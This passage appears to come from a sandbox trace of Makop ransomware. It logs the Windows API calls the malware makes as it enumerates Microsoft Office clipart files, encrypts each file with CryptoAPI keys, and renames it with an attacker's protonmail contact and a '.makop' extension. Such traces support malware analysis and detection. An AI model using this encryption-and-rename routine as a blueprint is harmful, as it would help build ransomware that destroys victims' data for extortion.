office\\clipart\\pub60cor\\tr00178_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.002] CloseHandle (hObject=0xf0) returned 1 [0154.002] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0154.002] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF") returned 63 [0154.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.004] GetProcessHeap () returned 0x48a0000 [0154.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.004] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.005] GetProcessHeap () returned 0x48a0000 [0154.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.010] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6cc0, lpOverlapped=0x0) returned 1 [0154.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cc0, dwBufLen=0x6cc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cc0) returned 1 [0154.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.013] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6cc0, lpOverlapped=0x0) returned 1 [0154.013] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.013] SetEndOfFile (hFile=0xf0) returned 1 [0154.021] GetProcessHeap () returned 0x48a0000 [0154.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.021] GetProcessHeap () returned 0x48a0000 [0154.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.021] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.023] CloseHandle (hObject=0xf0) returned 1 [0154.023] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0154.023] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF") returned 63 [0154.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.024] GetProcessHeap () returned 0x48a0000 [0154.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.024] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0154.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.033] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.033] GetProcessHeap () returned 0x48a0000 [0154.033] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.033] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.033] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.033] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.034] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.034] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.034] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.034] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.035] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c4a, lpOverlapped=0x0) returned 1 [0154.037] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50) returned 1 [0154.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c50, lpOverlapped=0x0) returned 1 [0154.038] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.038] SetEndOfFile (hFile=0xf0) returned 1 [0154.045] GetProcessHeap () returned 0x48a0000 [0154.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.045] GetProcessHeap () returned 0x48a0000 [0154.045] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.045] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.048] CloseHandle (hObject=0xf0) returned 1 [0154.048] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0154.048] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF") returned 63 [0154.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.050] GetProcessHeap () returned 0x48a0000 [0154.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.051] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.051] GetProcessHeap () returned 0x48a0000 [0154.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.056] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.057] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.057] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8e0, lpOverlapped=0x0) returned 1 [0154.057] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0) returned 1 [0154.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e0, lpOverlapped=0x0) returned 1 [0154.057] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.058] SetEndOfFile (hFile=0xf0) returned 1 [0154.066] GetProcessHeap () returned 0x48a0000 [0154.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.066] GetProcessHeap () returned 0x48a0000 [0154.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.066] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.068] CloseHandle (hObject=0xf0) returned 1 [0154.068] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0154.068] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF") returned 63 [0154.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.069] GetProcessHeap () returned 0x48a0000 [0154.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.069] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0154.074] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.074] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.075] GetProcessHeap () returned 0x48a0000 [0154.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.075] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.075] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.076] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.076] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2054, lpOverlapped=0x0) returned 1 [0154.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2060, dwBufLen=0x2060 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2060) returned 1 [0154.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2060, lpOverlapped=0x0) returned 1 [0154.079] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.079] SetEndOfFile (hFile=0xf0) returned 1 [0154.086] GetProcessHeap () returned 0x48a0000 [0154.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.086] GetProcessHeap () returned 0x48a0000 [0154.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.086] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program 